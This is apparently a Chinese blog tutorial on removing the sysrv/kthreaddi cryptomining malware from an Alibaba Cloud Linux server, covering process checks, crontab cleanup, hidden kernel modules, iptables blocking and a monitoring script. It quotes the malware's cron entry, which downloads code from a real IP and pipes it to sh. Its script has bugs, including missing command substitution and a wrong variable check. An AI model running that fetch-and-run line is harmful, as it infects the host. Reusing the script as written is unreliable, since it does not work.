当登录到阿里云账号后,查看云服务器内存突然增高,如下图时,很有可能是被攻击了,此时可采取以下步骤彻底解决:
    13 Linux处理sysrv0**和*kthreadd*挖矿病毒 - 图1
    1- 用root账号远程登录阿里云服务器,首先利用top命令查看内存使用情况:
    #top13 Linux处理sysrv0**和*kthreadd*挖矿病毒 - 图2 查看是否存在[kthreaddi] 和 sysrv* 或minerd、tplink等恶意进程
    如果发现部份进程CPU消耗很高,自己不清楚,可以百度搜索对应的进程名称,是病毒的话,百度上都会有很多人反映的。
    2- 使用 crontab -e 查询定时任务
    #crontab -e
    *
    /30 (curl —user-agent curl_cron [http://31.*.*.*||wget**](http://194.40.243.98%7C%7Cwget)** —user-agent wget_cron -q -O - [http://31.*.*.*)|sh**](http://194.40.243.98)%7Csh)
    发现会存在类似于上面的定时任务,首选确定是不是自己添加的。如不是须删除。
    3- 使用kill命令关闭1-步骤中的恶意进程(注意须先关闭sysrv007进程号):
    kill -9 22178;
    kill -9 25277;
    注意:注意须先关闭sysrv007进程号,否则sysrv007会在[kthreaddi] 进程停止后,马上重启[kthreaddi] 进程。
    4- 使用以下命令,通过PID号获取该恶意文件的路径。然后,找到并删除对应的文件。
    # ls -l /proc/$PID/exe
    其中,$PID 为进程对应的PID号,可以通过ps 或者top获取。
    5- 处理隐藏的恶意模块
    被隐藏的恶意模块一般有:raid.koiptable_mac.kosnd_pcs.kousb_pcs.koipv6_kac.ko。您可以使用 file /lib/udev/usb_control/...命令,分别检查是否存在以上模块。
    例如,使用以下命令查看是否存在iptable_mac.ko模块:
    #file /lib/udev/usb_control/iptable_mac.ko
    命令执行结果如下图所示,表明存在隐藏的iptable_mac.ko模块。
    13 Linux处理sysrv0**和*kthreadd*挖矿病毒 - 图3
    6- 利用IP防火墙,封死病毒的IP地址段,首先需确认31Ip段均不是国内IP(我的业务都在国内),如何确认IP段是不是国内见:仅允许国内IP访问服务器,限制国外IP访问
    # iptables -I INPUT -s 31.0.0.0/8 -j DROP # 禁止31.的IP整段访问服务器
    # iptables-save >>/etc/sysconfig/iptables # 将IP规则保存到文件
    # vim /etc/sysconfig/iptables
    图片.png
    总结:
    前几次,我利用1—-5步,做了后,发现过了几个小时,病毒有出现了,修改了云账号,远程root账号密码,都没用,后面加了第6步才算有用了,过了3天都没在出现,算是解决了,后续继续跟进中。
    7- 另外我创建了个定时任务,持续监听记录以上病毒程序,本想的是自动kill掉病毒进程,但加了第6步后,却没在出现了,导致一致没用上。脚本如下:
    #!/bin/bash
    #这里可替换为你自己的执行程序,其他代码无需更改
    #检查程序是否在运行
    time2=$(date “+%Y%m%d%H%M%S”)
    echo “${time2}开始检查异常进程:sysrv0 + kthreaddi start “ >> /mnt/waKuang.log
    #判断是否存在sysrv0
    进程
    is_sysrv_exist(){
    sysrv_pid=ps -ef|grep sysrv0*|grep -v grep|awk '{print $2}'
    #如果不存在返回1,存在返回0
    if [ -z “${sysrv_pid}” ]; then
    return 1
    else
    return 0
    fi
    }
    is_sysrv_exist
    if [ $? -eq “0” ]; then
    echo “sysrv0 is running pid=${sysrv_pid}” >> /mnt/waKuang.log
    kill -9 $sysrv_pid
    else
    echo “sysrv0
    is not running “ >> /mnt/waKuang.log
    fi
    #判断是否存在kthreaddi 进程
    is_kthreaddi_exist(){
    kthreaddi_pid=ps -ef|grep kthreaddi |grep -v grep|awk '{print $2}'
    #如果不存在返回1,存在返回0
    if [ -z “${sysrv_pid}” ]; then
    return 1
    else
    return 0
    fi
    }
    is_kthreaddi_exist
    if [ $? -eq “0” ]; then
    echo “kthreaddi is running pid=${kthreaddi_pid}” >> /mnt/waKuang.log
    kill -9 $kthreaddi_pid
    else
    echo “kthreaddi is not running “ >> /mnt/waKuang.log
    fi
    time2=$(date “+%Y%m%d%H%M%S”)
    echo “${time2} 结束检查异常进程:sysrv0* + kthreaddi end “ >> /mnt/waKuang.log
    #可惜没用上